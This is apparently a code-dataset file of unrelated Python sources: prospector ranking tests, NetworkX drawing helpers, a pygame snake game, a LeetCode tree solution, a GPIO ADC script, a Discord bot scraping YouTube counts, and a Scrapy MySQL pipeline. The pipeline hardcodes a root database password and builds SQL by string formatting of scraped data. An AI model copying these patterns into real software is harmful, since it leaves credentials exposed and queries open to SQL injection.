'+++ b/CHANGELOG.md', '@@ -11,2 +11,3 @@ A pre-release can be downloaded from https://ci.jenkins.io/job/Plugins/job/docke', ' * Update terminology and reference non-deprecated image names [#802](https://github.com/jenkinsci/docker-plugin/issues/802), [#811](https://github.com/jenkinsci/docker-plugin/issues/811)', '+* Enhancement: templates can now specify cpu period and cpu quota [#795](https://github.com/jenkinsci/docker-plugin/issues/795)']\n }\n return example_commit_content\n\n##################################\n###\n### FILTERING TEXT\n###\n##################################\n\n#\n# CamelCase split \n#\n\n\n@pytest.mark.text_preprocessing\n@pytest.mark.parametrize('token, result', [\n ('ExampleCamelCase', ['ExampleCamelCase', 'example', 'camel', 'case']),\n ('exampleCamelcase', ['exampleCamelcase', 'example', 'camelcase']),\n ('shouldreturnnone', None) \n])\ndef test_camel_case_split(token, result):\n assert result == rank.camel_case_split(token)\n\n@pytest.mark.exception_handling\n@pytest.mark.parametrize('token, error', [\n (['CamelCaseToken.'], TypeError)\n])\ndef test_camel_case_split_errors(token, error):\n with pytest.raises(error):\n rank.camel_case_split(token)\n\n\n#\n# snake_case split \n#\n@pytest.mark.text_preprocessing\n@pytest.mark.parametrize('token, result', [\n ('example_snake_case', ['example_snake_case', 'example', 'snake', 'case']),\n ('shouldreturnnone', None) \n])\ndef test_snake_case_split(token, result):\n assert result == rank.snake_case_split(token)\n\n@pytest.mark.exception_handling\n@pytest.mark.parametrize('token, error', [\n (['snake_case_token'], TypeError)\n])\ndef test_snake_case_split_errors(token, error):\n with pytest.raises(error):\n rank.snake_case_split(token)\n\n#\n# text_into_chunks\n#\n\n@pytest.mark.text_preprocessing\n@pytest.mark.parametrize('text, chunk_size', [\n ('Just an example string, which should remain one sentence', 1000),\n ('Just an example string, which should not remain one sentence', 10),\n])\ndef test_text_into_chunks(text, chunk_size):\n chunks = rank.text_into_chunks(text, chunk_size)\n for chunk in chunks:\n assert len(chunk) <= chunk_size\n assert ''.join(chunks) == text\n \n@pytest.mark.text_preprocessing\ndef test_text_into_chunks_with_commit(example_commit_content):\n '''\n The function should be able to handle real commit content, where the message and diff are provided as list\n '''\n # larger text than the chunk size specified\n chunks = rank.text_into_chunks(text=example_commit_content['diff'], chunk_size=100)\n for chunk in chunks:\n assert len(chunk) <= 100\n assert len(chunks) == 6\n assert ''.join(chunks) == ' '.join(example_commit_content['diff'])\n \n # smaller text than the chunk size specified\n chunks = rank.text_into_chunks(text=example_commit_content['message'], chunk_size=100)\n assert len(chunks) == 1\n assert len(chunks[0]) == 40\n\n@pytest.mark.exception_handling\n@pytest.mark.parametrize('text, error', [\n (['Check what happens', 12345, 'When there are integers in the list'], TypeError),\n])\ndef test_text_into_chunks_errors(text, error):\n with pytest.raises(error):\n rank.text_into_chunks(text)\n\n#\n# filter_text\n#\n\n@pytest.mark.text_preprocessing\ndef test_filter_text_2():\n text = 'This is an example sentence to test the functionalities of filtered_text'\n assert rank.filter_text(text) == 'example sentence test functionality filtered_text filter text'\n assert type(rank.filter_text(text, as_tokens=True)[0]) == spacy.tokens.token.Token\n assert rank.filter_text(text, as_list=True) == ['example', 'sentence', 'test', 'functionality', 'filtered_text', 'filter', 'text']\n\n@pytest.mark.text_preprocessing\n@pytest.mark.parametrize('text, remove_duplicates, case_sensitive, lemmatize, result', [\n ('This is an example.', True, False, True, 'example'),\n ('This is an example: Example.', False, True, False, 'example Example'),\n ('This is an example. In this example, example occurs more than once.', True, False, True, 'example occur'),\n ('This is an example. In this example, example occurs more than once.', False, False, True, 'example example example occur'),\n (['This is an example.', 'In this example, example occurs more than once.'], False, False, True, 'example example example occur'),\n])\ndef test_filter_text(text, remove_duplicates, case_sensitive, lemmatize, result):\n assert result == rank.filter_text(text, as_tokens=False, as_list=False, remove_duplicates=remove_duplicates, case_sensitive=case_sensitive, lemmatize=lemmatize)\n\n#\n# filter_doc\n#\n\n@pytest.mark.text_preprocessing\ndef test_filter_doc(example_commit_content):\n '''\n The function should be able to handle real commit content, where the message and diff are provided as list\n '''\n text = ' '.join(example_commit_content['message'])\n doc = nlp(text)\n assert rank.filter_doc(doc=doc) == 'add changelog merge'\n\n@pytest.mark.exception_handling\ndef test_filter_doc_errors(example_commit_content):\n '''\n The doc provided should be a spacy.tokens.doc.Doc\n '''\n with pytest.raises(TypeError):\n rank.text_into_chunks(doc=example_commit_content['message'])\n\n#\n# simpler_filter_text\n#\n\n@pytest.mark.text_preprocessing\ndef test_simpler_filter_text(example_commit_content):\n '''\n The function should be able to handle real commit content, where the message and diff are provided as list\n '''\n assert rank.simpler_filter_text(text=example_commit_content['message']) == 'add changelog merge'\n assert rank.simpler_filter_text(text=' '.join(example_commit_content['message'])) == 'add changelog merge'\n assert rank.simpler_filter_text(text='This is an example sentence to test the functionalities of filtered_text') == 'example sentence test functionality filtered_text filter text'\n\n#\n# extract_relevant_lines_from_commit_diff\n#\n@pytest.mark.text_preprocessing\ndef test_extract_relevant_lines_from_commit_diff(example_commit_content):\n assert len(rank.extract_relevant_lines_from_commit_diff(git_diff=example_commit_content['diff'], max_lines=10000)) == 2\n assert len(rank.extract_relevant_lines_from_commit_diff(git_diff=example_commit_content['diff'], max_lines=1)) == 1\n assert rank.extract_relevant_lines_from_commit_diff(git_diff=example_commit_content['diff'])[1] == '+* Enhancement: templates can now specify cpu period and cpu quota [#795](https://github.com/jenkinsci/docker-plugin/issues/795)'\n\n@pytest.mark.exception_handling\ndef test_extract_relevant_lines_from_commit_errors(example_commit_content):\n '''\n The doc provided should be a spacy.tokens.doc.Doc\n '''\n with pytest.raises(TypeError):\n rank.extract_relevant_lines_from_commit_diff(git_diff=' '.join(example_commit_content['diff']))\n\n#\n# extract_n_most_occurring_words\n#\n\n@pytest.mark.text_preprocessing\ndef test_extract_n_most_occurring_words(example_commit_content):\n assert rank.extract_n_most_occurring_words(rank.simpler_filter_text('Messages contain fix indicating words like fixing, fix or fixes, can also contain a lot of different words. And we do not want a lot of stopwords! From this description, fix should be the returned word and and and not not not a stopword.'), n=1) == 'fix'\n assert rank.extract_n_most_occurring_words(rank.simpler_filter_text(example_commit_content['message']), n=1) == 'add'\n assert rank.extract_n_most_occurring_words(rank.simpler_filter_text(' '.join(example_commit_content['message'])), n=1) == 'add'\n\n@pytest.mark.exception_handling\n@pytest.mark.parametrize('text, error', [\n (['Check what happens', 12345, 'When there are integers in the list'], TypeError),\n])\ndef test_extract_n_most_occurring_words(text, error):\n with pytest.raises(error):\n rank.extract_n_most_occurring_words(text)\n\n#\n# find_references\n#\n\n@pytest.mark.text_preprocessing\ndef test_find_references(example_commit_content):\n assert len(rank.find_references('No reference here!')) == 0\n assert type(rank.find_references(example_commit_content['message'])) == list\n assert rank.find_references(example_commit_content['message']) == ['#795']\n assert len(rank.find_references(example_commit_content['diff'])) == 7\n assert 'https://github.com/jenkinsci/docker-plugin/issues/802' in rank.find_references(example_commit_content['diff'])\n\n# @pytest.mark.text_preprocessing\n# def test_remove_project_name():\n# project_name = 'jpcertcc LogonTracer logon tracer'\n# description = 'LogonTracer logon tracer early allow remote attacker conduct xml external entity xxe attack unspecified vector'\n# assert rank.remove_project_name_from_string(project_name, description) == 'early allow remote attacker conduct xml external entity xxe attack unspecified vector'\n\n##################################\n###\n### RANKING\n###\n##################################\n\n# @pytest.mark.ranking","sub_path":"prospector/tests/test_prospector_rank.py","file_name":"test_prospector_rank.py","file_ext":"py","file_size_in_byte":9798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"126722797","text":"# local imports\nfrom . import nxadapter\nfrom . import community\nfrom . import centrality\nfrom _NetworKit import ParallelPartitionCoarsening\nfrom .support import MissingDependencyError\n\n# external imports\ntry:\n\timport networkx\nexcept ImportError:\n\thave_nx = False\nelse:\n\thave_nx = True\n\ndef save(name, dir=\".\"):\n\t\"\"\" Save a figure \"\"\"\n\tsavefig(os.path.join(dir, \"{0}.pdf\".format(name)), bbox_inches=\"tight\", transparent=True)\n\n\ndef coloringToColorList(G, coloring):\n\tclist = []\n\n\tnColors = len(coloring.keys())\n\n\tfor v in G.nodes():\n\t\tclist.append(float(coloring[v]) / nColors)\n\n\treturn clist\n\n\ndef drawGraph(G, **kwargs):\n\t\"\"\" Draws a graph via networkX. Passes additional arguments beyond the graph to networkx.draw(...).\n\t By default, node sizes are scaled between 30 and 300 by node degree.\n\t\"\"\"\n\tif not have_nx:\n\t\traise MissingDependencyError(\"networkx\")\n\tnxG = nxadapter.nk2nx(G)\n\tif not \"node_size\" in kwargs:\n\t\tkwargs[\"node_size\"] =[30+270*s for s in centrality.DegreeCentrality(G,True).run().scores()],\n\tnetworkx.draw(nxG, **kwargs)\n\ndef drawCommunityGraph(G, zeta, **kwargs):\n\t\"\"\" Draws the community graph for a given graph and partition. Passes any additional arguments to networkx.draw(...).\n\t By default, node sizes are scaled between 30 and 500 by community size.\n\t\"\"\"\n\tif not have_nx:\n\t\traise MissingDependencyError(\"networkx\")\n\tcg = ParallelPartitionCoarsening(G,zeta)\n\tcg.run() # convert communities to nodes\n\tgraph = cg.getCoarseGraph()\n\tcomGraph = nxadapter.nk2nx(graph)\n\tif not \"node_size\" in kwargs:\n\t\tsizes = list(zeta.subsetSizeMap().values())\n\t\tmax_size = max(sizes)\n\t\tsizes = [elem/max_size for elem in sizes]\n\t\tkwargs[\"node_size\"] = [30+470*s for s in sizes]\n\tnetworkx.draw(comGraph, **kwargs)\n","sub_path":"networkit/viztasks.py","file_name":"viztasks.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"72877100","text":"import pygame\nfrom .settings import *\nfrom random import choice\n\nclass Comida():\n def __init__(self, x, y, c=RED):\n self.x = x \n self.y = y\n self.width = PIXEL_LEN\n self.height = PIXEL_LEN\n self.color = c\n\n def draw(self, win):\n pygame.draw.rect(win, self.color, (self.x * PIXEL_LEN, self.y * PIXEL_LEN + TOPBAR, self.width, self.height))\n \n def update(self, player):\n if self.x == player.x and self.y == player.y:\n player.len += 1\n self.change_place(player)\n \n def change_place(self, player):\n possible_places = [(i, j) for i in range(ROWS) for j in range(COLS)]\n possible_places.pop(possible_places.index((player.x, player.y)))\n for piece in player.cauda:\n possible_places.pop(possible_places.index((piece.x, piece.y)))\n if len(possible_places) > 0:\n self.x, self.y = choice(possible_places)\n","sub_path":"win10/utils/comida.py","file_name":"comida.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"203250038","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution(object):\n def get_left_boundary(self, root):\n ret = [root]\n if root.left is None:\n return ret\n cur = root.left\n while True:\n ret.append(cur)\n if cur.left:\n cur = cur.left\n elif cur.right:\n cur = cur.right\n else:\n return ret\n\n def get_right_boundary(self, root):\n ret = [root]\n if root.right is None:\n return ret\n cur = root.right\n while True:\n ret.append(cur)\n if cur.right:\n cur = cur.right\n elif cur.left:\n cur = cur.left\n else:\n return ret[::-1]\n\n def dfs(self, root, leaves):\n if root is None:\n return\n self.dfs(root.left, leaves)\n self.dfs(root.right, leaves)\n if root.left is None and root.right is None:\n leaves.append(root)\n\n def get_leaves(self, root):\n leaves = list()\n self.dfs(root, leaves)\n return leaves\n\n def boundaryOfBinaryTree(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[int]\n \"\"\"\n if root is None:\n return []\n boundary = self.get_left_boundary(root) + self.get_leaves(root) + self.get_right_boundary(root)\n total = set()\n ret = list()\n for node in boundary:\n if node in total:\n continue\n total.add(node)\n ret.append(node.val)\n return ret\n\n","sub_path":"google/545_boundary_of_binary_tree.py","file_name":"545_boundary_of_binary_tree.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"17637180","text":"import RPi.GPIO as gp\nimport numpy as np\nimport time\n\npins = [10, 9, 11, 5, 6, 13, 19, 26]\ngp.setmode(gp.BCM)\ngp.setup(pins, gp.OUT)\ngp.setup(17, gp.OUT)\ngp.setup(4, gp.IN)\n\n\ndef dec_to_bin_list(val):\n out = [0] * 8\n for i in range(7, -1, -1):\n if val // 2 ** i != 0:\n out[i] = 1\n val %= 2 ** i\n return out\n\n\ndef num_dac(val):\n array = dec_to_bin_list(val)\n gp.output(pins, array)\n # print(array)\n\n\nnum_dac(0)\ngp.output(17, True)\n\ntry:\n while True:\n l = 0\n r = 255\n for i in range(9): \n m = (l + r) // 2\n num_dac(m)\n time.sleep(0.001)\n if not gp.input(4):\n r = m\n else:\n l = m\n print('Voltage: {:.1f}, digital value: {}'.format(3.3 * m /255, m))\n \n \nfinally:\n num_dac(0)\n gp.cleanup()\n","sub_path":"gpio/bins_adc.py","file_name":"bins_adc.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"140710660","text":"import discord\r\nfrom discord.ext import commands\r\nimport random\r\nimport bs4 as bs\r\nimport urllib.request\r\nfrom urllib.request import Request, urlopen\r\nimport time, threading\r\n\r\nclient = discord.Client()\r\n\r\ndescription = '''An example bot to showcase the discord.ext.commands extension\r\nmodule.\r\nThere are a number of utility commands being showcased here.'''\r\nbot = commands.Bot(command_prefix='.', description=description)\r\n\r\n@bot.command(pass_context=True)\r\nasync def delete(ctx, num):\r\n\r\n if ctx.message.author.id == '159271060582301698':\r\n channel = ctx.message.channel\r\n deleted = await bot.purge_from(channel,limit=int(num))\r\n await bot.send_message(channel, 'Deleted {} message(s)'.format(len(deleted)))\r\n else:\r\n await bot.say('You do not have the permission to use this command')\r\n\r\n\r\n@bot.event\r\nasync def on_message(message):\r\n\r\n if message.content.startswith('$guess'):\r\n await bot.send_message(message.channel, 'Guess a number between 1 to 10')\r\n\r\n def guess_check(m):\r\n return m.content.isdigit()\r\n\r\n guess = await bot.wait_for_message(timeout=5.0, author=message.author, check=guess_check)\r\n answer = random.randint(1, 10)\r\n if guess is None:\r\n fmt = 'Sorry, you took too long. It was {}.'\r\n await bot.send_message(message.channel, fmt.format(answer))\r\n return\r\n if int(guess.content) == answer:\r\n await bot.send_message(message.channel, 'You are right!')\r\n else:\r\n await bot.send_message(message.channel, 'Sorry. It is actually {}.'.format(answer))\r\n\r\n await bot.process_commands(message)\r\n\r\n\r\n \r\n@bot.event\r\nasync def on_ready():\r\n print('Logged in as')\r\n print(bot.user.name)\r\n print(bot.user.id)\r\n print('------')\r\n\r\n\r\n@bot.command()\r\nasync def ping():\r\n await bot.say('Pong!')\r\n\r\n\r\n@bot.command()\r\nasync def helpp():\r\n await bot.say('''**Commands**\\n\r\n`.subs`: Subsciber Count of Kristoffer. Updates every 5 minutes and shows what youtube.com shows\\n\r\n`.views`: Total Views Count of Kristoffer. Updates every 5 minutes and shows what youtube.com shows\\n\r\n`.helpp`: Help Message\r\n''')\r\n\r\n\r\n@bot.command()\r\nasync def subs():\r\n global final\r\n await bot.say('**{}** Glorious Subscribers'.format(final))\r\n\r\n\r\n@bot.command()\r\nasync def views():\r\n global bold\r\n await bot.say('**{}** Legendary Views'.format(bold[1].replace('.',',')))\r\n\r\n \r\nbold = []\r\nfinal = ''\r\ndef loadviews():\r\n global bold\r\n req2 = Request('https://www.youtube.com/channel/UCGQQOuwK6KDOUjLPylTM3KQ/about', headers={'User-Agent': 'Mozilla/5.0'})\r\n webpage2 = urlopen(req2).read()\r\n soup2 = bs.BeautifulSoup(webpage2,'lxml')\r\n classes = []\r\n bold = []\r\n num = 0\r\n for span in soup2.findAll('span', attrs={'class':\"about-stat\"}):\r\n num += 1\r\n if num == 1 or num == 2:\r\n btags = span.find('b')\r\n bold.append(btags.text)\r\n elif num == 3:\r\n pass\r\n threading.Timer(300, loadviews).start()\r\n\r\n\r\ndef loadsubs():\r\n global final\r\n req = Request('https://www.youtube.com/channel/UCGQQOuwK6KDOUjLPylTM3KQ', headers={'User-Agent': 'Mozilla/5.0'})\r\n webpage = urlopen(req).read()\r\n soup = bs.BeautifulSoup(webpage,'lxml')\r\n span = soup.find('span', attrs={'class':\"yt-subscription-button-subscriber-count-branded-horizontal subscribed yt-uix-tooltip\"})\r\n final = span.text.replace('.',',')\r\n threading.Timer(300, loadsubs).start()\r\n \r\nloadviews()\r\nprint('views loaded')\r\nloadsubs()\r\nprint('subs loaded')\r\n \r\n\r\nbot.run('token')\r\n","sub_path":"randomdiscord.py","file_name":"randomdiscord.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"302102102","text":"# -*- coding: utf-8 -*-\n\nimport multiprocessing\nimport time\nimport random\n\nvector_B = []\n\ndef fatorial(n):\n fat = n\n for i in range(n-1, 1, -1):\n fat = fat * i\n return(fat)\n\ndef calc_fatorial(q1, q2):\n factorial_list = q1.get()\n vector = []\n for item in factorial_list:\n factorial = fatorial(item)\n vector.append(factorial)\n q2.put(vector)\n\n\nif __name__ == \"__main__\":\n\n print('===' * 25, 'Questão 09-c'.center(75), '===' * 25, sep='\\n')\n\n vector_size = int(input(\"Entre com o tamanho do vetor(0-20): \"))\n\n start_time = float(time.time())\n\n vector_A = []\n for i in range(vector_size):\n vector_A.append(random.randint(0, 20))\n\n process_number = 4\n\n queue_in = multiprocessing.Queue()\n queue_out = multiprocessing.Queue()\n\n lista_proc = []\n for i in range(process_number):\n start = i * int(vector_size/process_number)\n end = (i + 1) * int(vector_size/process_number)\n queue_in.put(vector_A[start:end])\n m = multiprocessing.Process(target=calc_fatorial, args=(queue_in,\n queue_out))\n m.start()\n lista_proc.append(m)\n\n for m in lista_proc:\n m.join()\n\n # for i in range(0, process_number):\n # for item in queue_out.get():\n # vector_B.append(item)\n\n end_time = float(time.time())\n print('{}Tempo de multi processamento: {}'.format(' '*2, end_time - start_time))","sub_path":"questao09_c.py","file_name":"questao09_c.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"381723400","text":"#_*_ coding: utf-8 _*_\nimport MySQLdb\nimport MySQLdb.cursors\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\n\nclass Dota2Pipeline(object):\n def __init__(self):\n self.conn = MySQLdb.connect(\n host = \"localhost\",\n user = \"root\",\n passwd = \"433280\",\n db = \"dota2\",\n charset = \"utf8\",\n use_unicode = True\n )\n self.cursor = self.conn.cursor()\n\n #加载数据钱先清空表\n self.cursor.execute(\"delete from Heros\")\n self.cursor.execute(\"delete from Skills\")\n self.cursor.execute(\"delete from Equipments\")\n self.conn.commit()\n\n\n def process_item(self, item, spider):\n\n # 加载数据钱先清空表\n # self.cursor.execute(\"delete from Heros\")\n # self.cursor.execute(\"delete from Skills\")\n # self.cursor.execute(\"delete from Equipments\")\n\n str_equipments = 'insert into Equipments ' \\\n '(HeroID,HeroNameCN,InitialEquip,EarlyEquip,CoreEquip,GodEquip) ' \\\n 'values (%d,\"%s\",\"%s\",\"%s\",\"%s\",\"%s\")' % \\\n (\n item[\"hero_ID\"][0],\n item[\"hero_name_cn\"][0],\n item[\"initial_equip\"][0],\n item[\"early_equip\"][0],\n item[\"core_equip\"][0],\n item[\"god_equip\"][0]\n )\n str_heros = 'insert into Heros ' \\\n '(HeroID,HeroNameCN,HeroNameEN,AttackType,Role,Camp,OtherName,' \\\n 'AttributePower,AttributeAgile,AttributeIntelligence,InitialAttack,' \\\n 'InitialArmor,InitialSpeed,VisionField,AttackField,AttackSpeed,' \\\n 'Background,Skill,CoHero,SimilarHero) ' \\\n 'values (%d,\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\")' % \\\n (\n item[\"hero_ID\"][0],\n item[\"hero_name_cn\"][0],\n item[\"hero_name_en\"][0],\n item[\"attack_type\"][0],\n item[\"role\"][0],\n item[\"camp\"][0],\n item[\"other_name\"][0],\n item[\"attribute_power\"][0],\n item[\"attribute_agile\"][0],\n item[\"attribute_intelligence\"][0],\n item[\"initial_attack\"][0],\n item[\"initial_armor\"][0],\n item[\"initial_speed\"][0],\n item[\"vision_field\"][0],\n item[\"attack_field\"][0],\n item[\"attack_speed\"][0],\n item[\"background\"][0],\n item[\"skill\"][0],\n item[\"co_hero\"][0],\n item[\"similar_hero\"][0]\n )\n str_skills = 'insert into Skills (HeroID,HeroNameCN,' \\\n 'Skill_Name_1,Skill_Describe_1,Skill_Tip_1,Skill_Magic_1,Skill_CD_1,Skill_Infos_1,Skill_Story_1,' \\\n 'Skill_Name_2,Skill_Describe_2,Skill_Tip_2,Skill_Magic_2,Skill_CD_2,Skill_Infos_2,Skill_Story_2,' \\\n 'Skill_Name_3,Skill_Describe_3,Skill_Tip_3,Skill_Magic_3,Skill_CD_3,Skill_Infos_3,Skill_Story_3,' \\\n 'Skill_Name_4,Skill_Describe_4,Skill_Tip_4,Skill_Magic_4,Skill_CD_4,Skill_Infos_4,Skill_Story_4,' \\\n 'Skill_Name_5,Skill_Describe_5,Skill_Tip_5,Skill_Magic_5,Skill_CD_5,Skill_Infos_5,Skill_Story_5,' \\\n 'Skill_Name_6,Skill_Describe_6,Skill_Tip_6,Skill_Magic_6,Skill_CD_6,Skill_Infos_6,Skill_Story_6,' \\\n 'Skill_Name_7,Skill_Describe_7,Skill_Tip_7,Skill_Magic_7,Skill_CD_7,Skill_Infos_7,Skill_Story_7,' \\\n 'Skill_Name_8,Skill_Describe_8,Skill_Tip_8,Skill_Magic_8,Skill_CD_8,Skill_Infos_8,Skill_Story_8,' \\\n 'Skill_Name_9,Skill_Describe_9,Skill_Tip_9,Skill_Magic_9,Skill_CD_9,Skill_Infos_9,Skill_Story_9,' \\\n 'Skill_Name_10,Skill_Describe_10,Skill_Tip_10,Skill_Magic_10,Skill_CD_10,Skill_Infos_10,Skill_Story_10,' \\\n 'Skill_Name_11,Skill_Describe_11,Skill_Tip_11,Skill_Magic_11,Skill_CD_11,Skill_Infos_11,Skill_Story_11,' \\\n 'Skill_Name_12,Skill_Describe_12,Skill_Tip_12,Skill_Magic_12,Skill_CD_12,Skill_Infos_12,Skill_Story_12,' \\\n 'Skill_Name_13,Skill_Describe_13,Skill_Tip_13,Skill_Magic_13,Skill_CD_13,Skill_Infos_13,Skill_Story_13,' \\\n 'Skill_Name_14,Skill_Describe_14,Skill_Tip_14,Skill_Magic_14,Skill_CD_14,Skill_Infos_14,Skill_Story_14' \\\n ') values (%d,\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",' \\\n '\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\",\"%s\")' % \\\n (\n item[\"hero_ID\"][0],\n item[\"hero_name_cn\"][0],\n item[\"skill_name_1\"][0],\n item[\"skill_describe_1\"][0],\n item[\"skill_tip_1\"][0],\n item[\"skill_magic_1\"][0],\n item[\"skill_CD_1\"][0],\n item[\"skill_infos_1\"][0],\n item[\"skill_story_1\"][0],\n item[\"skill_name_2\"][0],\n item[\"skill_describe_2\"][0],\n item[\"skill_tip_2\"][0],\n item[\"skill_magic_2\"][0],\n item[\"skill_CD_2\"][0],\n item[\"skill_infos_2\"][0],\n item[\"skill_story_2\"][0],\n item[\"skill_name_3\"][0],\n item[\"skill_describe_3\"][0],\n item[\"skill_tip_3\"][0],\n item[\"skill_magic_3\"][0],\n item[\"skill_CD_3\"][0],\n item[\"skill_infos_3\"][0],\n item[\"skill_story_3\"][0],\n item[\"skill_name_4\"][0],\n item[\"skill_describe_4\"][0],\n item[\"skill_tip_4\"][0],\n item[\"skill_magic_4\"][0],\n item[\"skill_CD_4\"][0],\n item[\"skill_infos_4\"][0],\n item[\"skill_story_4\"][0],\n item[\"skill_name_5\"][0],\n item[\"skill_describe_5\"][0],\n item[\"skill_tip_5\"][0],\n item[\"skill_magic_5\"][0],\n item[\"skill_CD_5\"][0],\n item[\"skill_infos_5\"][0],\n item[\"skill_story_5\"][0],\n item[\"skill_name_6\"][0],\n item[\"skill_describe_6\"][0],\n item[\"skill_tip_6\"][0],\n item[\"skill_magic_6\"][0],\n item[\"skill_CD_6\"][0],\n item[\"skill_infos_6\"][0],\n item[\"skill_story_6\"][0],\n item[\"skill_name_7\"][0],\n item[\"skill_describe_7\"][0],\n item[\"skill_tip_7\"][0],\n item[\"skill_magic_7\"][0],\n item[\"skill_CD_7\"][0],\n item[\"skill_infos_7\"][0],\n item[\"skill_story_7\"][0],\n item[\"skill_name_8\"][0],\n item[\"skill_describe_8\"][0],\n item[\"skill_tip_8\"][0],\n item[\"skill_magic_8\"][0],\n item[\"skill_CD_8\"][0],\n item[\"skill_infos_8\"][0],\n item[\"skill_story_8\"][0],\n item[\"skill_name_9\"][0],\n item[\"skill_describe_9\"][0],\n item[\"skill_tip_9\"][0],\n item[\"skill_magic_9\"][0],\n item[\"skill_CD_9\"][0],\n item[\"skill_infos_9\"][0],\n item[\"skill_story_9\"][0],\n item[\"skill_name_10\"][0],\n item[\"skill_describe_10\"][0],\n item[\"skill_tip_10\"][0],\n item[\"skill_magic_10\"][0],\n item[\"skill_CD_10\"][0],\n item[\"skill_infos_10\"][0],\n item[\"skill_story_10\"][0],\n item[\"skill_name_11\"][0],\n item[\"skill_describe_11\"][0],\n item[\"skill_tip_11\"][0],\n item[\"skill_magic_11\"][0],\n item[\"skill_CD_11\"][0],\n item[\"skill_infos_11\"][0],\n item[\"skill_story_11\"][0],\n item[\"skill_name_12\"][0],\n item[\"skill_describe_12\"][0],\n item[\"skill_tip_12\"][0],\n item[\"skill_magic_12\"][0],\n item[\"skill_CD_12\"][0],\n item[\"skill_infos_12\"][0],\n item[\"skill_story_12\"][0],\n item[\"skill_name_13\"][0],\n item[\"skill_describe_13\"][0],\n item[\"skill_tip_13\"][0],\n item[\"skill_magic_13\"][0],\n item[\"skill_CD_13\"][0],\n item[\"skill_infos_13\"][0],\n item[\"skill_story_13\"][0],\n item[\"skill_name_14\"][0],\n item[\"skill_describe_14\"][0],\n item[\"skill_tip_14\"][0],\n item[\"skill_magic_14\"][0],\n item[\"skill_CD_14\"][0],\n item[\"skill_infos_14\"][0],\n item[\"skill_story_14\"][0]\n )\n\n try:\n self.cursor.execute(str_equipments)\n self.cursor.execute(str_heros)\n self.cursor.execute(str_skills)\n self.conn.commit()\n except MySQLdb.Error as err:\n print(\"Error %d : %s\" % (err.args[0],err.args[1]))\n\n return item\n","sub_path":"dota2/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":11221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"580620279","text":"import sys\nimport torch \nimport torch.nn as nn\nfrom .loss import * \nfrom .ae_loss import AELoss\n\ndef Get_loss_function(cfgs):\n \"\"\" return given loss function\n \"\"\"\n loss_fun = {}\n \n if(cfgs.Loss_set['HeatMap_type'] == 'Softmax'):\n function = nn.CrossEntropyLoss()\n loss_fun['heat_loss'] = function\n elif(cfgs.Loss_set['HeatMap_type'] =='Focal'):\n function = FocalLoss()\n loss_fun['heat_loss'] = function\n else:\n print('the function name you have entered is not supported yet')\n sys.exit()\n\n if(cfgs.Loss_set['Reg_type'] == 'SmoothL1'):\n function = SmoothL1Loss()\n loss_fun['reg_loss'] = function\n else:\n print('the function name you have entered is not supported yet')\n sys.exit()\n\n if(cfgs.Loss_set['Tag_type'] == 'AELoss'):\n function = AELoss('max')\n loss_fun['tag_loss'] = function\n else:\n print('the function name you have entered is not supported yet')\n sys.exit()\n\n if(cfgs.Loss_set['AE_type'] == 'AELoss'):\n function = AELoss('max')\n loss_fun['ae_loss'] = function\n else:\n print('the function name you have entered is not supported yet')\n sys.exit()\n\n if(cfgs.Loss_set['WH_type'] == 'SmoothL1'):\n function = SmoothL1Loss()\n loss_fun['wh_loss'] = function\n else:\n print('the function name you have entered is not supported yet')\n sys.exit()\n \n return loss_fun","sub_path":"losses/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"262804560","text":"# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import patterns, 